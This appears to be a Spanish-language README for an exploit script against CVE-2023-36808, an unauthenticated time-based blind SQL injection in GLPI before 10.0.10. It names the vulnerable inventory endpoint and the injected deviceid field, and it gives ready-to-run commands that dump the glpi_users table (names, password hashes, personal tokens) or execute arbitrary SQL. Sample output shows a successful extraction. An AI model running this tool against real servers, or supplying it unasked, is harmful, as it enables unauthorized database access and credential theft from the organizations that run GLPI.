
Exploit de inyección SQL ciega basada en tiempo para CVE-2023-36808 en GLPI < 10.0.10. Extrae credenciales de usuario y contenido de la base de datos a través del endpoint de inventario XML no autenticado con optimización de búsqueda binaria.
Las versiones de GLPI < 10.0.10 exponen un endpoint de inventario XML no autenticado en /front/inventory.php.
El campo <deviceid> se inyecta directamente en una consulta SQL sin sanitización:
SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'
No se requiere autenticación. La vulnerabilidad permite acceso de lectura completo a la base de datos mediante inyección SQL ciega.
Este script utiliza inyección ciega basada en tiempo con búsqueda binaria para extraer datos de manera significativamente más rápida que las herramientas genéricas.
pip install -r requirements.txt
# Dump the full glpi_users table (name, password hash, personal_token)
python3 exploit.py http://<TARGET>/glpi
# Custom SQL query
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"
# Tune timing (lower sleep = faster, increase if you get wrong results)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3
# Increase parallel request cap (default 2, raise on high-latency remote targets)
python3 exploit.py http://<TARGET>/glpi --parallel 4
[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep : 0.5s Threshold: 0.35s Parallel: 2
[+] Target reachable
[+] Injection confirmed
[*] User 1/7
name glpi
password $2y$10$xN.12pQxSLlQdMJzP26EWe...
personal_token xxxx
...